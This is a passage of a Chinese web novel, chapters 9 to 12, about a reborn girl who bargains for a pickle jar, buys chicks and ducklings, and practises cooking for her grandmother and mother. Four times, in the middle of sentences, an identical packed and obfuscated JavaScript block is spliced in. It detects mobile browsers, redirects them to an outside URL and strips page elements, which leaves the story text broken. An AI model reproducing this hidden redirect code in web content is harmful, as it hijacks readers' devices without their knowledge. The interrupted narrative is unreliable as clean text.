齐心也不气馁：“用不用的事儿可先不提，您就说若是定制一个需得多少钱就是。” “这也还得看您要的样式和大小，再者您要的样式定是我们从前没做过的，也不知损耗，这……” “借您纸笔一用。” 显然在样式上绕不开了，她果断要了纸笔，凭着记忆在纸上画了泡菜坛子的样子。 亏得她前世就爱写写画画，这会儿画个泡菜坛子倒也算得心应手。 一个大肚坛，弯着封水环，一个坛口一个盖儿，简单明了。 那店家倒是个专业的，一瞧便知这东西确实不算难，只是长相奇怪，也不知是作何用。 “这倒是可以做…不知小娘子想要多大的？” 齐心给他比划了一下，两条胳膊向外一环，坛肚约莫那么大也足够出摊和家里人吃了。 天气热泡菜出得快，若是泡多了吃不完反倒影响味道和口感。 最要紧的是，小的用料也少，店家应该能给便宜些？ 店家略一估算：“这样式做着快，但晾晒和烧制费时，小娘子今日给了定银，五日后来取就是。” 一听能做齐心眼睛一亮：“定银多少？” 店家伸出一只手。 “五文？” “五十文。” 别说齐心身后的段婆婆了，就连她自己也变了脸色。 这不是欺客吗！ 一句话也没多说，齐心直接歘地一下将图纸从店家手中抽走，挽上段婆婆头也不回离开。 “哎哎哎！小娘子你若嫌贵，咱还可以商量不是？” 无人应他，只有一老一少的背影在店家的视线中越来越远。 出了门，齐心就忍不住吐槽： “婆婆，莫不是我看起来太不威严，这店家才敢这么欺负我？店里那——么大一口陶土缸他也才标价五十文，我那半大的陶土坛他就敢要价五十，还是定银！” 段婆婆打量她一眼，到底忍住没说她那一双眼睛天真温柔，看着就像个不善世事的软柿子。 “奸商一个，不理也罢。咱再寻别家。” 齐心狠狠点头赞同，果然奸商这玩意儿，什么时代也不缺。 段婆婆领着她重新寻了一家赵记铺子，这家铺子在外头看并不打眼，可走进一瞧，铺子打扫得一尘不染，货品的摆放也比上一家看着更加整洁有序。齐心仔细看过几件，这家的手艺也不比上家差，且店家这人一看就是个爽快实诚的，看过图纸只跟她要了三十文便说定五日后取。 “这图纸就先放您手里，制作时也好有个参考，说不得以后也能用得上。” 赵掌柜收了一半的定银，听到齐心的话点了点头，却没真正将这话放在心上，一人一物的定制，哪还有机会再用。 拿了收据，祖孙两人又往药铺去了。 本也是想着今日要给张秋玉拿药，再有段婆婆说的赶集要买种子，她这才想着将看摊位的事儿一道干了，回去后同王伯伯说好，后面几日她就要留在家中多多练习才行。 觉得自己有天赋是一回事儿，可要长期摆食摊儿的能力又是另一回事，她今日能做好吃是运气，明日做不好吃是实力，出品不稳定，出门卖吃食就会一日好吃一日难吃，时日一长，食客们都要跑光了。 前世总听到齐爸交代手底下的副厨“出品要稳要稳”，那般的千叮咛万嘱咐，也在潜移默化间记到她心里去了。齐心可不觉得自己这几日的侥幸成功，等过了“新手保护期”还能这样顺利，谁家大厨做饭好吃也非一日之功，自己这样的普通人更是难以幸免。 “婆婆我来拿！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058818|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼看段婆婆从郎中手里接过药包，她主动上前接了过来。 那郎中许是见过婆婆多次有些熟了，这会儿便搭上了话：“段阿婆，这你是孙女儿吧，怎之前不见一起来过？” 齐心接过药包的动作顿了顿，段婆婆的动作也有一瞬的凝滞。 “是…正是我孙女儿呢。之前不得闲这才没一起来。” 那郎中似了然地哦了一声，看向齐心示意般点了点头。 齐心记忆里的“齐心”那会儿正在干嘛呢？ 要了银钱自己跑出去吃香喝辣，又或是在家中赌气闭门不出，总之是叫婆婆伤心叫阿娘落泪。 她替“齐心”尴尬的毛病果然又犯了，只得硬着头皮也点头回应。 出了药铺，方才郎中的问题还萦绕在齐心的心里，她忍不住道出心底的疑问： “婆婆会怪我之前不够懂事吗……？” 段婆婆脚步一顿，回过头来看着她，沉吟了片刻才答：“一家人，说什么怪不怪的，本就是互相拖累，又一路互相扶持着走的。” 齐心双唇微张，愕然半晌才感叹： “婆婆，有没有人说过你其实颇有些大智慧的？” 婆婆眼中隐隐的失落和怅然顿时被问没了影儿，又恢复惯常的表情，冷哼一声，很是傲娇的模样：“哼，老太婆活了一大把年纪总得有点感悟吧，小孩子家家的懂什么。” 她听得好笑，挥去脑海中那些杂念，贴到婆婆身边： “这后半句婆婆说得不对，我都十七了哪里还能算小孩子，也勉强…算得上一小把年纪了吧！” 说完自己把自己逗得乐不可支，笑得前仰后合。 段婆婆看她笑成这样，好一会儿才反应过来她说的“一小把年纪”是什么意思，严肃的脸色终于绷不住也露出笑来。 “你倒是古灵精怪。” 一路继续往回走，段婆婆领着她往感激的那条街市去，果然人声鼎沸，瞧着应是周边村镇的农户都集中过来，带着自家种养的蔬果家禽，还有新鲜猪肉，许多常见的食材都汇集在这里，听着价格着实比卖菜铺子实惠许多。 齐心买了不少可以久放的蔬果，估算着能吃上个八九日才罢手。家中无米，又豪气地要了一斗米，她倒是想多买些，奈何力气不允许。这一斗就合后世十二斤上下，再有手里提着的蔬果，她是真拿不下了。 今日出门忘了带菜篮和麻布兜子，不得不忍痛添上两文问那米摊农户要了一个大布兜，这才勉强塞下。 等段婆婆买完菜子掉头来寻她，一眼就看见她这个把大布兜子扛在肩上的背影，丝毫不讲究也不扭捏，哪里还像之前那个富户出身的姑娘，只是拿了点重物便呼哧哈哧喘着粗气的样子倒还有点从前的影子。 婆婆二话没说，上前直接从她手中接过那兜子东西，将自己买的菜种也一并放进去，顺势提在了自己手里。 齐心正在心里感叹同样重量的东西，扛在肩上就是比提在手里轻松。 只是这副身子外强中干，看似健康，实则内里虚得很，十来斤的东西竟几乎拿不住，锻炼身体这事儿是时候提上日程。 可忽然肩膀一轻，吓得她赶紧回头，就见段婆婆轻轻松松就把东西提溜在手里，也不似她肩膀歪斜着借力。 这不更显得她菜了吗！ 10. 第 10 章 “婆婆，还是我来拿吧。” 齐心忙上手想要将东西拿回来，却被段婆婆轻而易举地躲过。 “你那点儿力气，半路再把东西给摔坏了。” 齐心一噎，无从反驳：“那…那我们一人拎一段儿。” “就这点轻飘飘的东西，且用不上你。” 婆婆这话说得她难得脸红。 锻炼锻炼，必须得锻炼！ 以后她也要肩扛百斤，手提五十，叱咤风云，力大无穷，根本不需要劳动老人家来干力气活。 心里一顿胡言乱语地给自己定了目标，这才勉强心安理得地一同回去。 两人快走出集市时，一阵闹哄哄的脚步声和“躲一躲让一让了！”的高呼声迎面而来。 齐心忙拽着段婆婆往旁边闪。 那农户显然是来晚了害怕耽搁，肩上扛着扁担，挂了两个竹篓子脚步飞快，直冲闹集来。 确认段婆婆没被冲撞到，齐心这才回头看了那农户一眼，见他已经麻利地插缝占下位置，将那竹篓打开，展示出里头要卖的东西来。 竟是两篓子小鸡、小鸭崽儿。 叽叽嘎嘎地叫个不停。 “走吧。”段婆婆掸了掸衣服上被竹篓蹭上的干泥，见齐心目不转睛地盯着那鸡鸭崽子出神，便问，“你想买？” “啊？嗯……若是自家养几只，是不是比在外头买整鸡整鸭便宜？” “自是便宜不少，外头公鸡能卖五十到七十文，母鸡则要七十文到百文。鸭就更贵了，因着鸭蛋贵，活鸭便是三百文也卖得的。” 齐心默算自己手里几贯钱，不过能买十来只鸭，她倒吸一口凉气：“那也太贵了……可既然能卖高价，这人为何不等养大了再拿出来卖，鸡鸭崽子总卖不出几十上百文的价格吧？” 段婆婆也朝那农户看了一眼，那人分明是一脸急色：“只怕是着急用钱呢……” “婆婆，你会养鸡鸭吗？” “咱们家泥腿子出身，能有什么不会的，可你真要……”不等婆婆话说完，齐心已经转身走到那农户面前。 “这位大伯，您这鸡鸭崽子如何卖的？” 那农户忙抬起头来，语气焦急，声音听着还有些哑： “小鸡崽儿三文一只，小鸭崽儿则需十文一只。”似是怕齐心嫌贵，报了价后又赶紧解释道，“小娘子可别嫌贵，我这都是跑山的鸡鸭养出来的，若不是家中有急事儿需要钱，是万不可能拿出来卖的……” 齐心不知市价，只能再次求助地看向跟上来的段婆婆。 婆婆已然听到了农户说的价格，悄然给她递了个眼神，脑袋稍点了一下。 这便是能买了。 齐心了然，蹲下来去看被农户打开上盖的竹篓，里头的小鸡崽儿明显更多，见她凑近，叽叽喳喳地贴到一块儿，似乎这样就能抵御她这个突如其来的“敌人”。 毛绒绒的小鸡黄，看着还怪可爱。 再看旁边的鸭崽儿笼，里头只有五只，那小鸭子明显比小鸡更凶狠些，见她靠近，冲着虚空就是一个叼啄的动作，以为这样逼退这张完全陌生的脸，见伤害为零，又瑟缩地一齐退到角落里。 “既是大伯家中有急，那我就不跟您讨价还价了，小鸡崽儿给我来上十只，小鸭崽儿我全都要了。” 这便是八十文了。 可齐心这回一点没心疼，也没犹豫。 先不说得段婆婆认可的价格，便是这中间差价的利润就知亏不了。这会儿开始养，约莫到了过年也差不多长成了，她们一家的年夜饭也不许上外头买那样贵的，若到时有需要串门拜年的，拎上一只半只的已很体面了。 段婆婆才不知道她心里都盘算到过年的事儿了，见她一眨眼花了这样多习惯性地生出些许心疼。 难不成大手大脚的习惯还在？ 可一想到是自己主动给了钱叫齐心自己做主的，便又把嘴边的话给咽了下去。 罢了罢了，总要给孩子一点儿折腾的空间。 那农户一听齐心一开口竟然就要了大半，立马激动起身，一张沧桑的脸上终于透了点喜色，冲着她连声道谢，几乎要鞠一大躬： “小，小娘子实在是个好人，多谢…多谢多谢……你往后定然顺风顺水平平安安，多谢！” 齐心没推拒这美好的祝福，却不得不躲开了农户大伯的鞠躬。 这她实在受不起。 “您有鸡鸭要卖，正好我要买，本就是你情我愿互利互惠的事儿，实在不值得这样客气。” 农户大伯似扭头抹了一把泪，不知从哪掏出两个用草叶编成的软筐，将齐心买下的崽子分别放了进去。 “这软筐编得可真漂亮，多谢大伯。” 她赞了一句，没再多停留。 那大伯剩下的崽子也没停留多久，很快便被人抢买一空。 齐心则和段婆婆一起，带着今日满满的收获终于归家。 在正街分叉的路口还撞上了同样出去赶集刚回来的李娘子，她手上也拎了不少东西。 齐心见她靠近，便知躲不开那高昂的嗓门儿。 热情的声音果然由远及近： “哎呀段阿婆齐姑娘，若早知你们也要去赶集，咱们就该一道的，人多还有个伴儿呢！” 也不等段婆婆和齐心答，她便又带起话头来： “哟，你们买这么多东西是要自己做饭吧？这两日老闻见你们灶房飘过来的香味儿，给我们家那猢狲馋得直闹腾。可是张娘子身子大好了能下厨了？” 段阿婆做饭难吃，齐心之前的行径看着也不像是会操持家中事务的，她心里自然是默认，齐家只有张娘子能够做出那样有香味儿的饭菜来，且听说张娘子那个走了的郎君，从前的手艺可是能在府城开酒楼的，说不定这么些年也能学得一二呢！ 齐心和段婆婆相互对视一眼，一时不知该如何答。 半晌，还是齐心默默举起一只手：“其实这两日是……我在做饭。” 李娘子原本期待满满的目光瞬间落在她的身上，逐渐写成了不相信： “你？” 她笑笑没多解释：“今日提了许多东西不得空，改日再请李婶婶到我们家坐坐。” 说完简单福一礼就走。 留李娘子在原地不可置信地频频回头，口中嘟囔着： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058819|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的假的…她也不像是会做饭的样子啊，是唬我的吧……” 祖孙俩走了一段儿，齐心这才噗嗤一声笑出来。 段婆婆奇怪地看她一眼：“突然笑什么呢？” “只是觉得李婶婶这人有意思得很，她方才听见是我做饭时那眼神，也太夸张了，咱们改日就请她来家中吃个饭如何？” “请来也好，近来也受了她家不少的照顾，等你娘再好些吧，到时把王实父子俩也请来，邻里间就是要常聚聚才热闹，往后免不了互相搭把手的时候。” 之前段婆婆不敢提这事儿实在是对自己的厨艺没什么信心，可上外头吃手中银钱也不趁手，便断了这个念头。 可现在家中有人能做饭了，甚至味道好像还不错，她心里的念头又活泛起来。 齐心笑盈盈地应下：“好，那正好我还能有时间多练习几个菜。” 鸡鸭小崽儿被段婆婆归置到柴棚底下尘封已久的鸡笼里，把那农户送的干草铺在笼子底下，又取了两个豁口明显的菜碗倒上水放进去，这鸡鸭便算是养上了。 这会儿养家禽自不可能像后世那般舍得许多饲料，全都靠地吃地，富贵些的人家才可能考虑给些粟米，好在齐家有自己的菜地，院子里也有草叶。等明日之后放出去找食儿时着人看着，往地里吃些草叶小虫也就够了。 省事儿。 齐心则把今日买的盈余的蔬果肉都放进竹篓里，顺着水井的绳一个个系得紧紧的，再放到幽凉的水井中，水井里头温度低，放这些需要短期储存的东西正好。 段婆婆就在堂屋门口歇着，看齐心来来回回忙碌着。 她还是偶尔会冒出不适应的感觉来，明明几天前家里的活儿还都得她自己上手才行，可如今还有能闲下来的时候，好像还真有点人家说的什么颐养天年的意思。 闭上眼，舒一口气，靠在竹椅上闭目养神。 等齐心折腾完，回过头看见的就是这样一幕。 颇有点岁月静好的意思。 她轻手轻脚地洗了甜瓜，切成小块儿分了两盘，一盘放在正休憩的婆婆身边，另一份则断进了张秋玉的屋子。 “阿娘，来吃点儿甜瓜，解了苦味儿还能解解暑气。” 张秋玉正把手中喝完的汤药碗放下，见到那一盘甜瓜，一颗心瞬间熨帖得柔软。 “好孩子，快坐下歇着，咱娘俩一起吃。” 外头暂时没了活儿，齐心顺势坐下，将今日出门遇见的事儿，一点点讲给张秋玉听。 “阿娘你是不知道那店家有多气人，他竟敢开口收我五十文的定银！”她伸出五根手指，极尽夸张地描述，“我今日可硬气了，一句话没说拉着婆婆就走，那店家在后头不停地喊——哎哎哎我给你便宜些！我一点没理会，且叫他后悔去吧。” “后头去买菜还碰上了……” “……” 她说得热闹，张秋玉听得也认真，时不时附和一两句，恰当的时候也笑出声来。 段婆婆在外头早就睁开了眼睛，捧着那盘甜瓜听着屋里的动静，就在屋檐的阴影下，一口一口吃着脆甜的瓜肉。 咔呲，咔呲。 11. 第 11 章 今晚的菜单齐心早就在论坛里物色好了。 她专搜了适合新手的家常菜，食材还都得用这时代常见的，是以她盯上了看起来很简单的——酱烧落苏。落苏，也就是茄子，这东西未做熟前看起来大，实则超软后体积能缩水两三倍，要够三个人吃的量还不能多，齐心其实有点拿不准。 今日共买了三根落苏，她一手拿着一根，灶台上放着一根，左掂掂右掂掂。 两根…？还是……三根？ 犹豫半天：“剩一根也成不了事儿，就三根吧。” 洗净的茄子放在切菜墩子上，齐心右手握刀却迟迟落不下去。 “切滚刀块儿……”她看着帖子里的操作步骤，低声咆哮，“滚刀块儿是什么东西啊！” 无奈退出页面，狼狈地重新搜索[滚刀块]。 “滚刀块指……原料滚动，斜…立刀，将原料切成基本相同的块儿……” “滚动我懂，斜立刀又是什么……” …… 齐心将菜刀翻来覆去看了看，终于决定放弃。 “这论坛就该有视频功能才对，三两句话谁看得懂！” 她不再管什么滚刀块，总之先将落苏切成块儿……额……片？ 准确来说更像是介于块儿与片之间无法完全定义的形状…… 她自我安慰着：“反正一会儿就进肚子了，谁在乎它长什么样儿？” 切好的落苏齐心选择了上锅蒸，油炸落苏一则太过油腻，二则着实是囊中羞涩，今日出门看了一圈才深刻意识到菜油矜贵，能少用就少用些。 趁着烧水的间隙，她把提前用井水泡着的米沥干，滴入一小勺熟麻油拌匀后才入陶甑，锅中加水没过甑脚约一半的位置，等水烧开后改了小火任它慢慢蒸着。 这头落苏块儿已经蒸软，她心里想着今晚的米饭口感一定能比之前好，下意识就直接伸手去取那蒸碗。 “嘶——哈！呼呼呼——！” 烫得她猛地缩回手，冲到外头水缸边用凉水猛地浇了一大勺这才有所缓解，只是指尖还是红出一条印痕。 这次长了记性，回头将一整个蒸笼都抱起来放到一旁，等碗里的落苏自然放凉。 重新起锅烧油，等锅内微微冒起青烟，先下姜末、葱白煸炒出香味。眼看锅里的葱白似乎有点儿焦，她忙撤了一半柴火，这才加入剁成肉末的猪肉。 肉末既能大大增香，又不至于用了许多肉叫钱袋子心疼。 将水分全都炒干，肉末呈现微焦的色泽。再挖上一勺今天新买的豆酱，轻轻滑动炒勺，让豆酱的香味被彻底激发出来。 让豆酱与油、香料、肉末融合均匀，把蒸好的落苏放进去小心翻炒，确保每一块儿落苏都能裹上酱汁又不至于烂糊。 倒入一勺将将没过落苏的清水，她听着瞬间滋啦——的一声很是满足。 “谁能拒绝美食降临前的声音呢？” 灶房里又响起她的哼唱声。 直到重新用中大火收去部分汁水，剩下的她已经计划好要用多少来拌饭吃最香。 将酱烧落苏盛出，齐心这才发觉三根大落苏的份量到底有多少。 比她脸还大的菜盆几乎装了满满一盆。 今晚好像…要省下一个菜了…… 挠了挠脸颊，齐心无奈看了眼早就洗净放在一旁的夏崧。 “只能多委屈你一天了。” 陶甑里的米正熟了，这次她记得取了一块沾水的厚帕子，将陶甑取出，却不急着开盖儿，按着“网友”的分享，这多出的一步焖，就能让饭粒更加饱满。 把一大盆菜和陶甑端进堂屋，齐心这才进屋去请段婆婆和张秋玉。 “今日做了新菜，婆婆和阿娘快帮我尝尝好不好吃。” 两人一听，眼睛瞬间亮起来，只段婆婆察觉自己反应似乎过度，又扭过头轻咳了一声，再回头还是平日傲娇的模样。 张秋玉知这意思便是自己又有下床走动的机会了，更是高兴，任由齐心搀扶着她，给她借了大半的力向堂屋去，哪怕脑袋晕乎乎地也强忍着。 眼睛还没看清到底是什么菜，鼻子就先闻到了咸鲜的酱香味儿。 等走到桌前坐下，打眼仔细一瞧。 分明是还带着淡紫色的落苏，肉末和汤汁都是叫人徒增食欲的琥珀色，上头还撒了少许荆芥的碎叶子，那是齐心端出前撒上的。 只这卖相就叫张秋玉食指大动。 段婆婆自己入了座，瞧着那一盆菜咽了咽口水。 这才几日，自己怎么比从前还馋些？ 齐心揭开陶甑的盖子，一股稻米的香甜味儿便急得立马蹿了出来。 她周到地给每人都盛了一碗，这才落座。 “开饭吧！” 段婆婆看着自己手中的那碗饭有些犹豫：“这是用的今日新买的米吗？” 齐心眼里憋着笑和期待，她故意没说今日蒸米的特别，就是想等着婆婆和阿娘自己发现呢。 这会儿被问到，她也依旧故作镇定地卖关子：“不是，是之前用剩的最后一点儿，正够咱们今日吃的。” “可这米……怎么瞧着跟之前煮出来的不太一样了？” 段婆婆是真的困惑，这丫头有天赋是有天赋，可到底连熟手都还称不上，更遑论丫头她爹那样多年的疱夫，总不可能用一样的米还能煮出别样的花儿来啊？ 张秋玉经这一提醒，也瞧出今日米饭的不一样来，抬头看女儿一副“你们猜”的模样，等不及催一句： “好孩子，你就快说说怎么做的吧？阿娘这心里跟有痒痒挠似的。” 齐心笑得狡黠，一挑眉梢：“真想知道？” “快说快说。” “这秘诀嘛…就是……”她的目光从阿娘到婆婆，再从婆婆到阿娘，长音拖了半晌，终于在段婆婆几乎要忍不住出手，用筷子敲她脑袋之前说出关键，“麻油。” 段婆婆倒捏筷尾的手收了回去。 “麻油？可这饭瞧着也没有油乎乎的样子……” “只稍在蒸饭之前浇上一小勺拌匀就好，蒸完就是这样了。” 段婆婆小心尝了几粒，这蒸出来的饭竟真比从前直接煮的更香软了。 张秋玉则尝了一筷子，米香在舌尖蔓延开，可比从前蒸完还像夹生的口感好多了。 “怎么就能想到用麻油呢？我的好姑娘可太厉害了……” 这事儿没法解释，齐心忙转向酱烧落苏，一人夹上一筷子。 “婆婆阿娘快吃。” 说完自己埋头干饭，再不敢骄傲卖弄。 直到听见两声不由自主地感叹，她这才松了松僵硬的背脊，竖着耳朵听两人的评价。 “今日这落苏也太下饭了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058820|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别是混了汤汁的饭粒，可太好吃了！” “嗯，还行。” 齐心嘴角悄然弯起，就着裹满汤汁的米饭囫囵了足足两大碗。 等吃完饭，她给婆婆和阿娘都在院子里安排了一张竹椅。 “老在屋子里待着也不好，这会儿出来吹吹晚风，不躁也不冷，对阿娘恢复也颇有好处。” 张秋玉自是乐滋滋地应下，段婆婆虽想反对，却也不想打击了儿媳这副高兴的样子。 人若心情好，疾病自然少。 等齐心洗刷妥当回来，就看见两人有一搭没一搭地聊着天。 都说婆媳难处，她俩倒还算相处得不错，婆婆虽嘴硬，心肠却软，阿娘又是个温柔的人，日常相处时偶有个摩擦再正常不过。 她虽意外穿越沦落至此，家中虽不是什么电视剧小说里演的大富大贵高门显赫，可一家人只要像她的名字这样，齐心，那日子也不会太难捱了。 挨着阿娘刚坐下，就听她满是期待地开口： “咱们明日吃点什么啊？” 女儿掌勺不过两三日，她却已对每一个明天都生出这样的希冀来。 这几日的饭实在超乎她的预料，不重样儿的新鲜菜色不断打开她因吃药停滞的味蕾，人也跟着有了起色。 齐心靠在椅背上瞥向阿娘，虽有点不忍心打破她的期待，却也只能据实相告： “后几日怕是都要吃打卤面了，我想趁着出摊儿前再多练练。” 她看着阿娘，却没见阿娘脸上有丝毫的失落：“打卤面好啊！那两个味道的打卤面都很好吃，别说后几日了，就算一连吃三五个月也不会腻呢！” 段婆婆也搭腔：“嗯，有肉有菜有面，我也吃不腻。” 齐心直笑：“嗯嗯嗯，不腻，都不腻。” 嘴上虽是这样说，心里却还是盘算着，偶尔还是要添一两道不同的菜给她们换换口味儿，不然再没人做她的试菜搭子了可如何是好？ 第二日一早。 齐心还真就开始了她说的锻炼计划，天刚亮她就在院子里做起了伸展运动，绕着院子跑了十来圈儿，又蹦蹦跳跳地折腾了好一阵儿。 段婆婆被外头的动静吸引，缩在角落里悄悄看她做了许多奇奇怪怪的动作，最后在被她发现之前，又回了自己的卧房，只当什么也没瞧见。 除了锻炼，齐心今日给自己安排的任务其实称不上难，只是有点枯燥。 把姜、蒜、香蕈、豆干拿来先切片，再改丝儿，最后切成小粒儿。 用现成的食材尽可能地熟练切菜的动作和速度，现在的她一旦想要保证切出来的东西大小一致，这手里的速度便跟不上，可若是加快了切菜的速度，什么片什么丝就都顾不上了，还生怕切着自己的手指。 烦躁了好一会儿，出去看顾着小鸡小鸭崽儿们吃了会食儿，又重镇旗鼓回去切菜。 折腾了大半日，切菜的功夫提升虽不算明显，但齐心自己能察觉到握刀的手似乎更加灵活了。 握刀切下的力度似乎开始有了自己的记忆。 这几日她在论坛的经验值仍旧停留在[3/10]的阶段，她前几天的猜测完全不符合论坛涨经验的条件，不论是切菜、炒菜、做不同的菜色都没有看见经验条有丝毫的变化。 “难不成是论坛崩了？就跟某小说平台似的，说不动就不动了。” 12. 第 12 章 “爹，我饿了。” 王星荣今日没了齐家香喷喷的早饭，只跟王爹分吃了一张胡饼，又干又噎，中午又是一人一整张的胡饼，拼命喝了许多水才勉强咽下。 他觉得再这么靠胡饼活着，只怕哪日他都要变成胡饼了。 是以这会儿只能可怜巴巴地看着自己爹的背影，语气颇有些委屈。 王实正扛着货物走在前头，听见儿子的声音脚步不停，只侧过头回应： “中午不是吃了一整张胡饼吗？怎么这么快就饿了。” 王星荣嘴一瘪：“爹，你知道起齐姑娘什么时候才来摆摊儿吗？” 这话一出，王实还有什么不明白的。 这小子哪是饿了啊，分明是馋人家做的那打卤面、炒面了。 白他一眼又回过头去，直接戳穿：“就你馋。” 王星荣小声嘟囔着回怼：“你不馋，前两日那面你都是一个人吃了三碗……” 王实一听，猛然回头，狠狠地瞪了自家小子一眼，若手中得闲，只怕要顺手再给他胳膊来上一巴掌。 王星荣这才噤声，低落地垂下头去，半晌没什么底气地开口： “爹，咱俩今晚去食肆吃两个菜吧？” 王实回头刚想发作，见儿子颓然的模样只能心软。 孩子自小就懂事，如今这样能干却也不过二十岁，正是胃口大的年纪，每日跟着他只能卖力干活，很少听他主动提这样的请求。 他叹了口气，重提起精神爽快道：“行，一会儿放工了咱俩就去。” 他们父子俩一日能挣近三百文钱，偶尔去吃个几十文也不是负担不起，若不是为了攒钱盖房给儿子娶媳妇，也不至于自苦到这个程度。 王星荣那一脸的委屈瞬间冲淡，噌的一下抬起头来，一双眼睛瞪得溜圆： “真的？！” “真的真的，赶紧干活儿！” “好嘞！” 王星荣只觉泄了气的身体又瞬间恢复活力，甚至能将肩膀上的货物颠上一颠，脚步轻轻松松就超越了自家爹。 有好吃的就高兴！ —— 那头齐心实在猜不透论坛的升级机制，便也不再深究。 现在能够浏览帖子就足够她学习不少的做饭经验，甚至还能规避一些常见的错误，已经很知足了，旁的就顺其自然吧，谜题总有解开的一天。 可今日的打卤面端上桌时，齐心这心里是有些忐忑的。 她明显察觉今天的卤，没有之前那样浓稠漂亮，挂汁的感觉没有之前那样明显，酱色也淡了，可分明步骤是一样的啊…… 是哪里出了问题呢？ 等把今日的卤子端上桌，段婆婆果然也发现了问题： “今日做的汤？” 齐心噎了噎，面上有些挂不住，站在桌边踌躇着并没坐下： “不知是不是今天有什么东西没放对……” 张秋玉见状忙打圆场：“哎呀没事儿，汤的也好吃呢！快坐下先吃饭。” 齐心没好意思拂了阿娘，只能坐下，可手里捏着碗却根本没心情动筷，她垂着脑袋根本不想去看自己今日的“失败之作”。 大概真是“新手光环”消失了吧，忽然就做不出想要的样子了，气馁和难过会叫人完全生不出食欲。 段婆婆却明显不想听张秋玉的这样轻易放过，她很是严肃地开口： “你可记了上次做的方子？” 见齐心一脸懵色，显然不清楚的样子，她松了松语气，提醒道：“每种菜、调味的用量，或煮或炒的时间，称量的用具，肉菜的状态，这些真的都和上次一样吗？” 张秋玉想拦也没拦住，只能担忧地看着齐心，见她低垂着头，一张小嘴垮得能挂上水桶，忙小声宽慰：“这，这才学做饭几日，慢慢来就是了。” 齐心沉默良久，眼睛忽而亮起来，茅塞顿开，语气也有些激动，筷子啪地一声拍在桌上，猛地站起来： “婆婆你说得对！我今日调料汁用的勺与那日不一样，且今日三个人的菜量比上次少上许多，我没按量调配好！” “婆婆阿娘，你们先吃，我，我先去将配比记下来！” 说完旋风一般地进屋翻箱倒柜寻找纸笔要记录，哪里还顾得上吃饭。 张秋玉看着她的背影转瞬就消失在堂屋里，只能回头求助似地看向段婆婆。 “娘，这会不会太过严苛了些，心儿还小，好歹让她吃了饭再……” 段婆婆恍若未闻，替张秋玉打了卤这才顾上自己，眼皮丝毫没往齐心卧房的方向抬： “吃饭，她既想好好摆食摊儿挣钱，就得在做饭上多下功夫，她还年轻，就算少吃一顿也不碍事，你难道还要像以前那样纵容她？” 张秋玉的脸瞬间失了血色，垂下头，嘴角尽是苦涩。 是……她不能再溺爱孩子了，这样做只会害了女儿。 她已经害了大儿子，不能再害了小女儿…… 段婆婆见她如此，也猜到她在想什么，自知说话重了些，把面碗冲她面前又推近些：“从前的事儿都过了，也并非都是你的错，过好当下。” “嗯。” 张秋玉鼻尖一酸，声音瞬间哽咽了，握过面碗机械地翻拌着卤子，好一会儿才缓过来擦去面上的泪痕。 得了今日这堂“课”，齐心已决定往后每次做法用量全都要仔细记下来，一个人的记忆是没办法将每一次的过程都记得清清楚楚的，至少她不行。 都说好记性不如烂笔头，等她能从往后日日年年的制作中总结出最好的配比，又何愁不会融会贯通呢？ 好在前日隔得还不算久远，她仔细回忆了一会儿也算把过程全都仔细记下了。前日的配比一份，今日的配比一份，最后再自己对菜品的状态进行评价。以后不论是做打卤还是别的菜，她都决定仔仔细细记清楚。 据说大厨们都是有一本自己的做菜手札的，她照做总不会错。 将笔记都记好，她脸上这才重新看见笑意，脚步轻快地进了堂屋在张秋玉身边坐下，伸手握勺又往段婆婆碗里加了半勺卤。 “婆婆多吃点儿。” 段婆婆见她脸上那小表情藏也藏不住的高兴讨好，下巴微抬冷哼一声，手里却没拒绝。 齐心见状，如释重负般咧嘴笑起来，又转向张秋玉： “嘿嘿，阿娘也多吃。” —— 日日吃打卤面的日子就这样过了五日。 齐心每天都坚持着早起锻炼、切菜、做饭、放鸡、扫洗摊车和用物，小日子过得别提有多充实。 人一累，就不容易生出杂念。 而她终于在第五日等到了王实的消息。 “齐姑娘，都已说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058821|194954||http|test|mini|href|location''.split(''|''),0,{})); () { 